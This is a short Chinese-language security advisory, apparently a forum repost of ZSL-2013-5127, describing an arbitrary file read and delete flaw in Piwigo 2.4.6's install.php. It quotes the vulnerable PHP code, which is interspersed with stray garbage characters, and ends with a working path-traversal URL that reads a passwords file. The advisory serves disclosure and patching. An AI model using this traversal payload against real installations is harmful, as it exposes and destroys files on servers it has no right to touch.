Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
2 _% j. r: H/ c114: {
4 z' g" R+ d( @' v! z6 u115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
# `, ?  O) f# C9 t5 y119:   header('Content-Transfer-Encoding: binary');
( N# a1 u5 U! U" Z120:   header('Content-Length: '.filesize($filename));
, b6 V. N: m" D2 [7 Y1 `. Z8 m121:   echo file_get_contents($filename);
2 r/ v; y0 Q& Q122:   unlink($filename);
+ n0 N" E3 F8 D* m7 @123:   exit();
4 N2 H0 O- E( I: G0 f, s! ~124: }
====================================================================

' ^' ~$ K" {  z8 l! STested on: Microsoft Windows 7 Ultimate SP1 (EN)
5 c8 o$ D* e; U+ E& k( l9 s: a$ y           Apache 2.4.2 (Win32)
           PHP 5.4.4
( u/ [! n$ M* V8 Z+ D! R, u' b           MySQL 5.5.25a
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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